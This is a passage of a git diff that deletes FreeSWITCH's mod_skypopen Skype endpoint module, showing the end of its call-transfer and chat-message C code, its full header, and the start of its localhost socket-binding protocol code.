-               switch_copy_string(tech_pvt->skype_call_id, id, sizeof(tech_pvt->skype_call_id) - 1);
-
-               switch_copy_string(tech_pvt->callid_number, value, sizeof(tech_pvt->callid_number) - 1);
-
-               DEBUGA_SKYPE
-                       ("NEW!  name: %s, state: %d, value=%s, tech_pvt->callid_number=%s, tech_pvt->skype_user=%s\n",
-                        SKYPOPEN_P_LOG, tech_pvt->name, tech_pvt->interface_state, value, tech_pvt->callid_number, tech_pvt->skype_user);
-       } else if (!tech_pvt || !tech_pvt->skype_call_id) {
-               ERRORA("No Call ID?\n", SKYPOPEN_P_LOG);
-       } else {
-               DEBUGA_SKYPE("We're in a call now (%s), let's refuse this one (%s)\n", SKYPOPEN_P_LOG, tech_pvt->skype_call_id, id);
-               sprintf(msg_to_skype, "ALTER CALL %s END HANGUP", id);
-               skypopen_signaling_write(tech_pvt, msg_to_skype);
-       }
-
-       switch_mutex_unlock(globals.mutex);
-       return 0;
-}
-int skypopen_transfer(private_t * tech_pvt, char *id, char *value)
-{
-       char msg_to_skype[1024];
-       int i;
-       int found = 0;
-       private_t *giovatech;
-       struct timeval timenow;
-
-       switch_mutex_lock(globals.mutex);
-
-       gettimeofday(&timenow, NULL);
-       for (i = 0; !found && i < SKYPOPEN_MAX_INTERFACES; i++) {
-               if (strlen(globals.SKYPOPEN_INTERFACES[i].name)) {
-
-                       giovatech = &globals.SKYPOPEN_INTERFACES[i];
-                       if (strlen(giovatech->skype_call_id) && (giovatech->interface_state != SKYPOPEN_STATE_DOWN) && (!strcmp(giovatech->skype_user, tech_pvt->skype_user)) && (!strcmp(giovatech->callid_number, value)) && ((((timenow.tv_sec - giovatech->answer_time.tv_sec) * 1000000) + (timenow.tv_usec - giovatech->answer_time.tv_usec)) < 500000)) {        //0.5sec
-                               found = 1;
-                               DEBUGA_SKYPE
-                                       ("FOUND  (name=%s, giovatech->interface_state=%d != SKYPOPEN_STATE_DOWN) && (giovatech->skype_user=%s == tech_pvt->skype_user=%s) && (giovatech->callid_number=%s == value=%s)\n",
-                                        SKYPOPEN_P_LOG, giovatech->name, giovatech->interface_state,
-                                        giovatech->skype_user, tech_pvt->skype_user, giovatech->callid_number, value)
-                                       break;
-                       }
-               }
-       }
-
-       if (found) {
-               switch_mutex_unlock(globals.mutex);
-               return 0;
-       }
-       DEBUGA_SKYPE("NOT FOUND\n", SKYPOPEN_P_LOG);
-
-       if (!tech_pvt || !tech_pvt->skype_call_id || !strlen(tech_pvt->skype_call_id)) {
-               /* we are not inside an active call */
-               DEBUGA_SKYPE("We're NO MORE in a call now %s\n", SKYPOPEN_P_LOG, (tech_pvt && tech_pvt->skype_call_id) ? tech_pvt->skype_call_id : "");
-               switch_mutex_unlock(globals.mutex);
-
-       } else {
-
-               /*  we're in a call, let's try to transfer */
-               /************************** TODO
-                 Checking here if it is possible to transfer this call to Test2
-                 -> GET CALL 288 CAN_TRANSFER Test2
-                 <- CALL 288 CAN_TRANSFER test2 TRUE
-                **********************************/
-
-               private_t *available_skypopen_interface = NULL;
-
-               gettimeofday(&timenow, NULL);
-               for (i = 0; !found && i < SKYPOPEN_MAX_INTERFACES; i++) {
-                       if (strlen(globals.SKYPOPEN_INTERFACES[i].name)) {
-
-                               giovatech = &globals.SKYPOPEN_INTERFACES[i];
-                               if (strlen(giovatech->skype_transfer_call_id) && (giovatech->interface_state != SKYPOPEN_STATE_DOWN) && (!strcmp(giovatech->skype_user, tech_pvt->skype_user)) && (!strcmp(giovatech->transfer_callid_number, value)) && ((((timenow.tv_sec - giovatech->transfer_time.tv_sec) * 1000000) + (timenow.tv_usec - giovatech->transfer_time.tv_usec)) < 1000000)) { //1.0 sec
-                                       found = 1;
-                                       DEBUGA_SKYPE
-                                               ("FOUND  (name=%s, giovatech->interface_state=%d != SKYPOPEN_STATE_DOWN) && (giovatech->skype_user=%s == tech_pvt->skype_user=%s) && (giovatech->transfer_callid_number=%s == value=%s)\n",
-                                                SKYPOPEN_P_LOG, giovatech->name, giovatech->interface_state,
-                                                giovatech->skype_user, tech_pvt->skype_user, giovatech->transfer_callid_number, value)
-                                               break;
-                               }
-                       }
-               }
-
-               if (found) {
-                       switch_mutex_unlock(globals.mutex);
-                       return 0;
-               }
-               DEBUGA_SKYPE("NOT FOUND\n", SKYPOPEN_P_LOG);
-
-               available_skypopen_interface = find_available_skypopen_interface_rr(tech_pvt);
-               if (available_skypopen_interface) {
-                       /* there is a skypopen interface idle, let's transfer the call to it */
-
-                       switch_copy_string(available_skypopen_interface->initial_skype_user, tech_pvt->skype_user, sizeof(tech_pvt->skype_user) - 1);
-
-                       gettimeofday(&tech_pvt->transfer_time, NULL);
-                       switch_copy_string(tech_pvt->skype_transfer_call_id, id, sizeof(tech_pvt->skype_transfer_call_id) - 1);
-
-                       switch_copy_string(tech_pvt->transfer_callid_number, value, sizeof(tech_pvt->transfer_callid_number) - 1);
-
-                       DEBUGA_SKYPE
-                               ("Let's transfer the skype_call %s to %s interface (with skype_user: %s), because we are already in a skypopen call(%s)\n",
-                                SKYPOPEN_P_LOG, tech_pvt->skype_call_id, available_skypopen_interface->name, available_skypopen_interface->skype_user, id);
-
-
-                       sprintf(msg_to_skype, "ALTER CALL %s TRANSFER %s", id, available_skypopen_interface->skype_user);
-                       skypopen_signaling_write(tech_pvt, msg_to_skype);
-                       if (tech_pvt->interface_state == SKYPOPEN_STATE_SELECTED) {
-                               tech_pvt->interface_state = SKYPOPEN_STATE_IDLE;        //we marked it SKYPOPEN_STATE_SELECTED just in case it has to make an outbound call
-                       }
-               } else {
-                       /* no skypopen interfaces idle, do nothing */
-                       DEBUGA_SKYPE
-                               ("Not answering the skype_call %s, because we are already in a skypopen call(%s) and not transferring, because no other skypopen interfaces are available\n",
-                                SKYPOPEN_P_LOG, id, tech_pvt->skype_call_id);
-                       sprintf(msg_to_skype, "ALTER CALL %s END HANGUP", id);
-                       skypopen_signaling_write(tech_pvt, msg_to_skype);
-               }
-               switch_sleep(10000);
-               DEBUGA_SKYPE
-                       ("We have NOT answered a Skype RING from skype_call %s, because we are already in a skypopen call (%s)\n",
-                        SKYPOPEN_P_LOG, id, tech_pvt->skype_call_id);
-
-               switch_mutex_unlock(globals.mutex);
-       }
-       return 0;
-}
-
-int incoming_chatmessage(private_t * tech_pvt, int which)
-{
-       switch_event_t *event;
-       switch_core_session_t *session = NULL;
-       int event_sent_to_esl = 0;
-
-       DEBUGA_SKYPE("received CHATMESSAGE on interface %s\n", SKYPOPEN_P_LOG, tech_pvt->name);
-
-       if (!tech_pvt->report_incoming_chatmessages) {
-               DEBUGA_SKYPE("I will not generate an Event, report_incoming_chatmessages is %d\n", SKYPOPEN_P_LOG, tech_pvt->report_incoming_chatmessages);
-               return 0;
-       }
-
-       if (!zstr(tech_pvt->session_uuid_str)) {
-               session = switch_core_session_locate(tech_pvt->session_uuid_str);
-       }
-       if (switch_event_create(&event, SWITCH_EVENT_MESSAGE) == SWITCH_STATUS_SUCCESS) {
-               switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "proto", MDL_CHAT_PROTO);
-               switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "login", tech_pvt->name);
-               switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "hint", tech_pvt->chatmessages[which].from_dispname);
-               switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "from", tech_pvt->chatmessages[which].from_handle);
-               switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "subject", "SIMPLE MESSAGE");
-               switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "chatname", tech_pvt->chatmessages[which].chatname);
-               switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "id", tech_pvt->chatmessages[which].id);
-               switch_event_add_body(event, "%s", tech_pvt->chatmessages[which].body);
-               if (session) {
-                       switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "during-call", "true");
-                       if (switch_core_session_queue_event(session, &event) != SWITCH_STATUS_SUCCESS) {
-                               switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "delivery-failure", "true");
-                               switch_event_fire(&event);
-                       }
-               } else {                                //no session
-                       switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "during-call", "false");
-                       switch_event_fire(&event);
-                       event_sent_to_esl = 1;
-               }
-
-       } else {
-               ERRORA("cannot create event on interface %s. WHY?????\n", SKYPOPEN_P_LOG, tech_pvt->name);
-       }
-
-       if (!event_sent_to_esl) {
-
-               if (switch_event_create(&event, SWITCH_EVENT_MESSAGE) == SWITCH_STATUS_SUCCESS) {
-                       switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "proto", MDL_CHAT_PROTO);
-                       switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "login", tech_pvt->name);
-                       switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "hint", tech_pvt->chatmessages[which].from_dispname);
-                       switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "from", tech_pvt->chatmessages[which].from_handle);
-                       switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "subject", "SIMPLE MESSAGE");
-                       switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "chatname", tech_pvt->chatmessages[which].chatname);
-                       switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "id", tech_pvt->chatmessages[which].id);
-                       switch_event_add_body(event, "%s", tech_pvt->chatmessages[which].body);
-                       if (session) {
-                               switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "during-call", "true");
-                       } else {                        //no session
-                               switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "during-call", "false");
-                       }
-                       switch_event_fire(&event);
-               } else {
-                       ERRORA("cannot create event on interface %s. WHY?????\n", SKYPOPEN_P_LOG, tech_pvt->name);
-               }
-       }
-
-       if (session) {
-               switch_core_session_rwunlock(session);
-       }
-       memset(&tech_pvt->chatmessages[which], '\0', sizeof(&tech_pvt->chatmessages[which]));
-       return 0;
-}
-
-
-SWITCH_STANDARD_API(skypopen_chat_function)
-{
-       char *mycmd = NULL, *argv[10] = { 0 };
-       int argc = 0;
-       private_t *tech_pvt = NULL;
-       int i;
-       int found = 0;
-
-       if (!zstr(cmd) && (mycmd = strdup(cmd))) {
-               argc = switch_separate_string(mycmd, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
-       }
-
-       if (!argc) {
-               stream->write_function(stream, "ERROR, usage: %s", SKYPOPEN_CHAT_SYNTAX);
-               goto end;
-       }
-
-       if (argc < 3) {
-               stream->write_function(stream, "ERROR, usage: %s", SKYPOPEN_CHAT_SYNTAX);
-               goto end;
-       }
-
-       if (argv[0]) {
-               for (i = 0; !found && i < SKYPOPEN_MAX_INTERFACES; i++) {
-                       /* we've been asked for a normal interface name, or we have not found idle interfaces to serve as the "ANY" interface */
-                       if (strlen(globals.SKYPOPEN_INTERFACES[i].name)
-                               && (strncmp(globals.SKYPOPEN_INTERFACES[i].name, argv[0], strlen(argv[0])) == 0)) {
-                               tech_pvt = &globals.SKYPOPEN_INTERFACES[i];
-                               stream->write_function(stream, "Using interface: globals.SKYPOPEN_INTERFACES[%d].name=|||%s|||\n", i, globals.SKYPOPEN_INTERFACES[i].name);
-                               found = 1;
-                               break;
-                       }
-
-               }
-               if (!found) {
-                       stream->write_function(stream, "ERROR: A Skypopen interface with name='%s' was not found\n", argv[0]);
-                       goto end;
-               } else {
-
-                       NOTICA("chat_send(proto=%s, from=%s, to=%s, subject=%s, body=%s, type=NULL, hint=%s)\n", SKYPOPEN_P_LOG, MDL_CHAT_PROTO, tech_pvt->skype_user,
-                                  argv[1], "SIMPLE MESSAGE", switch_str_nil((char *) &cmd[strlen(argv[0]) + 1 + strlen(argv[1]) + 1]), tech_pvt->name);
-
-                       chat_send(MDL_CHAT_PROTO, tech_pvt->skype_user, argv[1], "SIMPLE MESSAGE",
-                                         switch_str_nil((char *) &cmd[strlen(argv[0]) + 1 + strlen(argv[1]) + 1]), NULL, tech_pvt->name);
-
-               }
-       } else {
-               stream->write_function(stream, "ERROR, usage: %s", SKYPOPEN_CHAT_SYNTAX);
-               goto end;
-       }
-
-  end:
-       switch_safe_free(mycmd);
-
-       return SWITCH_STATUS_SUCCESS;
-}
-
-int next_port(void)
-{
-       switch_mutex_lock(globals.mutex);
-       globals.start_port++;
-       if (globals.start_port == 65000)
-               globals.start_port = 32769;
-       switch_mutex_unlock(globals.mutex);
-       return (globals.start_port - 1);
-}
-
-
-/* For Emacs:
- * Local Variables:
- * mode:c
- * indent-tabs-mode:t
- * tab-width:4
- * c-basic-offset:4
- * End:
- * For VIM:
- * vim:set softtabstop=4 shiftwidth=4 tabstop=4:
- */
diff --git a/src/mod/endpoints/mod_skypopen/mod_skypopen/skypopen.h b/src/mod/endpoints/mod_skypopen/mod_skypopen/skypopen.h
deleted file mode 100644 (file)
index d1d0c5d..0000000
+++ /dev/null
@@ -1,338 +0,0 @@
-/*
- * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
- *
- * Version: MPL 1.1
- *
- * The contents of this file are subject to the Mozilla Public License Version
- * 1.1 (the "License"); you may not use this file except in compliance with
- * the License. You may obtain a copy of the License at
- * http://www.mozilla.org/MPL/
- *
- * Software distributed under the License is distributed on an "AS IS" basis,
- * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- * for the specific language governing rights and limitations under the
- * License.
- *
- * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- *
- * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
- * Portions created by the Initial Developer are Copyright (C)
- * the Initial Developer. All Rights Reserved.
- *
- * This module (mod_skypopen) has been contributed by:
- *
- * Giovanni Maruzzelli (gmaruzz@gmail.com)
- *
- *
- * Further Contributors:
- *
- *
- * mod_skypopen.c -- Skype compatible Endpoint Module
- *
- */
-
-#include <switch.h>
-#include <switch_version.h>
-
-#ifndef WIN32
-#include <sys/time.h>
-#include <X11/Xlib.h>
-#include <X11/Xlibint.h>
-#include <X11/Xatom.h>
-#endif //WIN32
-
-#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
-#include <spandsp.h>
-#include <spandsp/version.h>
-
-#ifndef WIN32
-#include <netinet/tcp.h>
-#endif
-
-#ifdef _MSC_VER
-//Windows macro  for FD_SET includes a warning C4127: conditional expression is constant
-#pragma warning(push)
-#pragma warning(disable:4127)
-#endif
-
-#define MY_EVENT_INCOMING_CHATMESSAGE "skypopen::incoming_chatmessage"
-
-#define SAMPLERATE_SKYPOPEN 16000
-#define SAMPLES_PER_FRAME SAMPLERATE_SKYPOPEN/50
-
-#ifndef SKYPOPEN_SVN_VERSION
-#define SKYPOPEN_SVN_VERSION SWITCH_VERSION_REVISION
-#endif /* SKYPOPEN_SVN_VERSION */
-
-typedef enum {
-       TFLAG_IO = (1 << 0),
-       TFLAG_INBOUND = (1 << 1),
-       TFLAG_OUTBOUND = (1 << 2),
-       TFLAG_DTMF = (1 << 3),
-       TFLAG_VOICE = (1 << 4),
-       TFLAG_HANGUP = (1 << 5),
-       TFLAG_LINEAR = (1 << 6),
-       TFLAG_CODEC = (1 << 7),
-       TFLAG_BREAK = (1 << 8)
-} TFLAGS;
-
-typedef enum {
-       GFLAG_MY_CODEC_PREFS = (1 << 0)
-} GFLAGS;
-
-#define DEBUGA_SKYPE(...)  switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,             "rev "SKYPOPEN_SVN_VERSION "[%p|%-7lx][DEBUG_SKYPE  %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
-#define DEBUGA_CALL(...)  switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,              "rev "SKYPOPEN_SVN_VERSION "[%p|%-7lx][DEBUG_CALL  %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
-#define DEBUGA_PBX(...)  switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,               "rev "SKYPOPEN_SVN_VERSION "[%p|%-7lx][DEBUG_PBX  %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
-#define ERRORA(...)  switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,           "rev "SKYPOPEN_SVN_VERSION "[%p|%-7lx][ERRORA  %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
-#define WARNINGA(...)  switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,               "rev "SKYPOPEN_SVN_VERSION "[%p|%-7lx][WARNINGA  %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
-#define NOTICA(...)  switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE,          "rev "SKYPOPEN_SVN_VERSION "[%p|%-7lx][NOTICA  %-5d][%-10s][%2d,%2d,%2d] " __VA_ARGS__ );
-
-#define SKYPOPEN_P_LOG NULL, (unsigned long)55, __LINE__, tech_pvt ? tech_pvt->name ? tech_pvt->name : "none" : "none", -1, tech_pvt ? tech_pvt->interface_state : -1, tech_pvt ? tech_pvt->skype_callflow : -1
-
-/*********************************/
-#define SKYPOPEN_CAUSE_NORMAL          1
-/*********************************/
-#define SKYPOPEN_FRAME_DTMF                    1
-/*********************************/
-#define SKYPOPEN_CONTROL_RINGING               1
-#define SKYPOPEN_CONTROL_ANSWER                2
-
-/*********************************/
-#define                SKYPOPEN_STATE_IDLE                                     0
-#define                SKYPOPEN_STATE_DOWN                                     1
-#define                SKYPOPEN_STATE_RING                                     2
-#define                SKYPOPEN_STATE_DIALING                          3
-#define                SKYPOPEN_STATE_BUSY                                     4
-#define                SKYPOPEN_STATE_UP                                       5
-#define                SKYPOPEN_STATE_RINGING                          6
-#define                SKYPOPEN_STATE_PRERING                          7
-#define                SKYPOPEN_STATE_ERROR_DOUBLE_CALL                8
-#define                SKYPOPEN_STATE_SELECTED                         9
-#define        SKYPOPEN_STATE_HANGUP_REQUESTED         10
-#define                SKYPOPEN_STATE_PREANSWER                                11
-/*********************************/
-/* call flow from the device */
-#define        CALLFLOW_CALL_IDLE                                      0
-#define        CALLFLOW_CALL_DOWN                                      1
-#define        CALLFLOW_INCOMING_RING                          2
-#define        CALLFLOW_CALL_DIALING                           3
-#define        CALLFLOW_CALL_LINEBUSY                          4
-#define        CALLFLOW_CALL_ACTIVE                            5
-#define        CALLFLOW_INCOMING_HANGUP                        6
-#define        CALLFLOW_CALL_RELEASED                          7
-#define        CALLFLOW_CALL_NOCARRIER                         8
-#define        CALLFLOW_CALL_INFLUX                            9
-#define        CALLFLOW_CALL_INCOMING                          10
-#define        CALLFLOW_CALL_FAILED                            11
-#define        CALLFLOW_CALL_NOSERVICE                         12
-#define        CALLFLOW_CALL_OUTGOINGRESTRICTED        13
-#define        CALLFLOW_CALL_SECURITYFAIL                      14
-#define        CALLFLOW_CALL_NOANSWER                          15
-#define        CALLFLOW_STATUS_FINISHED                        16
-#define        CALLFLOW_STATUS_CANCELLED                       17
-#define        CALLFLOW_STATUS_FAILED                          18
-#define        CALLFLOW_STATUS_REFUSED                         19
-#define        CALLFLOW_STATUS_RINGING                         20
-#define        CALLFLOW_STATUS_INPROGRESS                      21
-#define        CALLFLOW_STATUS_UNPLACED                        22
-#define        CALLFLOW_STATUS_ROUTING                         23
-#define        CALLFLOW_STATUS_EARLYMEDIA                      24
-#define        CALLFLOW_INCOMING_CALLID                        25
-#define        CALLFLOW_STATUS_REMOTEHOLD                      26
-
-/*********************************/
-
-#define SKYPOPEN_MAX_INTERFACES 64
-
-#ifndef WIN32
-struct SkypopenHandles {
-       Window skype_win;
-       Display *disp;
-       Window win;
-       int currentuserhandle;
-       int api_connected;
-       int fdesc[2];
-};
-#else //WIN32
-
-struct SkypopenHandles {
-       HWND win32_hInit_MainWindowHandle;
-       HWND win32_hGlobal_SkypeAPIWindowHandle;
-       HINSTANCE win32_hInit_ProcessHandle;
-       char win32_acInit_WindowClassName[128];
-       UINT win32_uiGlobal_MsgID_SkypeControlAPIAttach;
-       UINT win32_uiGlobal_MsgID_SkypeControlAPIDiscover;
-       int currentuserhandle;
-       int api_connected;
-       switch_file_t *fdesc[2];
-};
-#endif //WIN32
-
-#define MAX_CHATS 10
-
-struct chat {
-       char chatname[256];
-       char dialog_partner[256];
-};
-typedef struct chat chat_t;
-
-#define MAX_CHATMESSAGES 10
-
-struct chatmessage {
-       char id[256];
-       char type[256];
-       char chatname[256];
-       char from_handle[256];
-       char from_dispname[256];
-       char body[512];
-};
-typedef struct chatmessage chatmessage_t;
-struct private_object {
-       unsigned int flags;
-       switch_codec_t read_codec;
-       switch_codec_t write_codec;
-       switch_frame_t read_frame;
-       unsigned char databuf[SWITCH_RECOMMENDED_BUFFER_SIZE];
-       char session_uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
-       switch_caller_profile_t *caller_profile;
-       switch_mutex_t *mutex;
-       switch_mutex_t *flag_mutex;
-
-       char interface_id[80];
-       char name[80];
-       char dialplan[80];
-       char context[80];
-       char dial_regex[256];
-       char fail_dial_regex[256];
-       char hold_music[256];
-       char type[256];
-       char X11_display[256];
-#ifdef WIN32
-       unsigned short tcp_cli_port;
-       unsigned short tcp_srv_port;
-#else
-       int tcp_cli_port;
-       int tcp_srv_port;
-#endif
-       struct SkypopenHandles SkypopenHandles;
-
-       int interface_state;
-       char language[80];
-       char exten[80];
-       int skypopen_sound_rate;
-       char callid_name[50];
-       char callid_number[50];
-       double playback_boost;
-       double capture_boost;
-       int stripmsd;
-       char skype_call_id[512];
-       int skype_call_ongoing;
-       char skype_friends[4096];
-       char skype_fullname[512];
-       char skype_displayname[512];
-       int skype_callflow;
-       int skype;
-       int control_to_send;
-#ifdef WIN32
-       switch_file_t *audiopipe_srv[2];
-       switch_file_t *audiopipe_cli[2];
-       switch_file_t *skypopen_sound_capt_fd;
-#else                                                  /* WIN32 */
-       int audiopipe_srv[2];
-       int audiopipe_cli[2];
-       int skypopen_sound_capt_fd;
-#endif                                                 /* WIN32 */
-       switch_thread_t *tcp_srv_thread;
-       switch_thread_t *tcp_cli_thread;
-       switch_thread_t *skypopen_signaling_thread;
-       switch_thread_t *skypopen_api_thread;
-       short audiobuf[SAMPLES_PER_FRAME];
-       int audiobuf_is_loaded;
-       short audiobuf_cli[SAMPLES_PER_FRAME];
-       switch_mutex_t *mutex_audio_cli;
-       int flag_audio_cli;
-       short audiobuf_srv[SAMPLES_PER_FRAME];
-       switch_mutex_t *mutex_audio_srv;
-       int flag_audio_srv;
-
-       FILE *phonebook_writing_fp;
-       int skypopen_dir_entry_extension_prefix;
-       char skype_user[256];
-       char initial_skype_user[256];
-       char skype_password[256];
-       char destination[256];
-       struct timeval answer_time;
-
-       struct timeval transfer_time;
-       char transfer_callid_number[50];
-       char skype_transfer_call_id[512];
-       int running;
-       uint32_t ib_calls;
-       uint32_t ob_calls;
-       uint32_t ib_failed_calls;
-       uint32_t ob_failed_calls;
-
-       chatmessage_t chatmessages[MAX_CHATMESSAGES];
-       chat_t chats[MAX_CHATS];
-       uint32_t report_incoming_chatmessages;
-       switch_timer_t timer_read;
-       switch_timer_t timer_write;
-       int begin_to_write;
-       int begin_to_read;
-       dtmf_rx_state_t dtmf_state;
-       switch_time_t old_dtmf_timestamp;
-       switch_buffer_t *write_buffer;
-       switch_buffer_t *read_buffer;
-       int silent_mode;
-       int write_silence_when_idle;
-
-};
-
-typedef struct private_object private_t;
-
-void *SWITCH_THREAD_FUNC skypopen_api_thread_func(switch_thread_t * thread, void *obj);
-int skypopen_audio_read(private_t * tech_pvt);
-int skypopen_audio_init(private_t * tech_pvt);
-int skypopen_signaling_write(private_t * tech_pvt, char *msg_to_skype);
-int skypopen_signaling_read(private_t * tech_pvt);
-
-int skypopen_call(private_t * tech_pvt, char *idest, int timeout);
-int skypopen_senddigit(private_t * tech_pvt, char digit);
-
-void *skypopen_do_tcp_srv_thread_func(void *obj);
-void *SWITCH_THREAD_FUNC skypopen_do_tcp_srv_thread(switch_thread_t * thread, void *obj);
-
-void *skypopen_do_tcp_cli_thread_func(void *obj);
-void *SWITCH_THREAD_FUNC skypopen_do_tcp_cli_thread(switch_thread_t * thread, void *obj);
-
-void *skypopen_do_skypeapi_thread_func(void *obj);
-void *SWITCH_THREAD_FUNC skypopen_do_skypeapi_thread(switch_thread_t * thread, void *obj);
-int dtmf_received(private_t * tech_pvt, char *value);
-int start_audio_threads(private_t * tech_pvt);
-int new_inbound_channel(private_t * tech_pvt);
-int outbound_channel_answered(private_t * tech_pvt);
-int skypopen_signaling_write(private_t * tech_pvt, char *msg_to_skype);
-#if defined(WIN32) && !defined(__CYGWIN__)
-int skypopen_pipe_read(switch_file_t * pipe, short *buf, int howmany);
-int skypopen_pipe_write(switch_file_t * pipe, short *buf, int howmany);
-/* Visual C do not have strsep ? */
-char *strsep(char **stringp, const char *delim);
-#else
-int skypopen_pipe_read(int pipe, short *buf, int howmany);
-int skypopen_pipe_write(int pipe, short *buf, int howmany);
-#endif /* WIN32 */
-int skypopen_close_socket(unsigned int fd);
-private_t *find_available_skypopen_interface_rr(private_t * tech_pvt_calling);
-int remote_party_is_ringing(private_t * tech_pvt);
-int remote_party_is_early_media(private_t * tech_pvt);
-int skypopen_answer(private_t * tech_pvt, char *id, char *value);
-int skypopen_transfer(private_t * tech_pvt, char *id, char *value);
-#ifndef WIN32
-int skypopen_socket_create_and_bind(private_t * tech_pvt, int *which_port);
-#else
-int skypopen_socket_create_and_bind(private_t * tech_pvt, unsigned short *which_port);
-#endif //WIN32
-int incoming_chatmessage(private_t * tech_pvt, int which);
-int next_port(void);
diff --git a/src/mod/endpoints/mod_skypopen/mod_skypopen/skypopen_protocol.c b/src/mod/endpoints/mod_skypopen/mod_skypopen/skypopen_protocol.c
deleted file mode 100644 (file)
index 3e13b9c..0000000
+++ /dev/null
@@ -1,1715 +0,0 @@
-#include "skypopen.h"
-
-#ifdef ASTERISK
-#define skypopen_sleep usleep
-#define skypopen_strncpy strncpy
-#define tech_pvt p
-extern int skypopen_debug;
-extern char *skypopen_console_active;
-#else /* FREESWITCH */
-#define skypopen_sleep switch_sleep
-#define skypopen_strncpy switch_copy_string
-extern switch_memory_pool_t *skypopen_module_pool;
-extern switch_endpoint_interface_t *skypopen_endpoint_interface;
-#endif /* ASTERISK */
-int samplerate_skypopen = SAMPLERATE_SKYPOPEN;
-
-extern int running;
-
-/*************************************/
-/* suspicious globals FIXME */
-#ifdef WIN32
-DWORD win32_dwThreadId;
-#else
-XErrorHandler old_handler = 0;
-int xerror = 0;
-#endif /* WIN32 */
-/*************************************/
-#ifndef WIN32
-int skypopen_socket_create_and_bind(private_t * tech_pvt, int *which_port)
-#else
-int skypopen_socket_create_and_bind(private_t * tech_pvt, unsigned short *which_port)
-#endif                                                 //WIN32
-{
-       int s = -1;
-       struct sockaddr_in my_addr;
-#ifndef WIN32
-       int start_port = 6001;
-       unsigned int size = sizeof(int);
-#else
-       unsigned short start_port = 6001;
-       int size = sizeof(int);
-#endif //WIN32
-       int sockbufsize = 0;
-       int flag = 0;
-
-
-       memset(&my_addr, 0, sizeof(my_addr));
-       my_addr.sin_family = AF_INET;
-       my_addr.sin_addr.s_addr = htonl(0x7f000001);    /* use the localhost */
-
-       if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
-               ERRORA("socket Error\n", SKYPOPEN_P_LOG);
-               return -1;
-       }
-
-       if (*which_port != 0)
-               start_port = *which_port;
-#ifdef WIN32
-       start_port = (unsigned short) next_port();
-#else
-       start_port = (unsigned short) next_port();
-#endif
-       my_addr.sin_port = htons(start_port);
-       *which_port = start_port;
-       while (bind(s, (struct sockaddr *) &my_addr, sizeof(struct sockaddr)) < 0) {
-               DEBUGA_SKYPE("*which_port=%d, tech_pvt->tcp_cli_port=%d, tech_pvt->tcp_srv_port=%d\n", SKYPOPEN_P_LOG, *which_port, tech_pvt->tcp_cli_port,
-                                        tech_pvt->tcp_srv_port);
-               DEBUGA_SKYPE("bind errno=%d, error: %s\n", SKYPOPEN_P_LOG, errno, strerror(errno));
-               start_port++;
-               my_addr.sin_port = htons(start_port);
-               *which_port = start_port;
-               DEBUGA_SKYPE("*which_port=%d, tech_pvt->tcp_cli_port=%d, tech_pvt->tcp_srv_port=%d\n", SKYPOPEN_P_LOG, *which_port, tech_pvt->tcp_cli_port,
-                                        tech_pvt->tcp_srv_port);
-
-               if (start_port > 65000) {
-                       ERRORA("NO MORE PORTS! *which_port=%d, tech_pvt->tcp_cli_port=%d, tech_pvt->tcp_srv_port=%d\n", SKYPOPEN_P_LOG, *which_port,
-                                  tech_pvt->tcp_cli_port, tech_pvt->tcp_srv_port);
-                       return -1;
-               }
-       }
-
-       DEBUGA_SKYPE("Binded! *which_port=%d, tech_pvt->tcp_cli_port=%d, tech_pvt->tcp_srv_port=%d\n", SKYPOPEN_P_LOG, *which_port, tech_pvt->tcp_cli_port,
-                                tech_pvt->tcp_srv_port);
-
-       sockbufsize = 0;
-       size = sizeof(int);
-       getsockopt(s, SOL_SOCKET, SO_RCVBUF, (char *) &sockbufsize, &size);
-       DEBUGA_SKYPE("1 SO_RCVBUF is %d, size is %d\n", SKYPOPEN_P_LOG, sockbufsize, size);
-       sockbufsize = 0;
-       size = sizeof(int);
-       getsockopt(s, SOL_SOCKET, SO_SNDBUF, (char *) &sockbufsize, &size);
-       DEBUGA_SKYPE("1 SO_SNDBUF is %d, size is %d\n", SKYPOPEN_P_LOG, sockbufsize, size);
-
-
-
-/* for virtual machines, eg: Linux domU-12-31-39-02-68-28 2.6.18-xenU-ec2-v1.0 #2 SMP Tue Feb 19 10:51:53 EST 2008 i686 athlon i386 GNU/Linux
- * use:
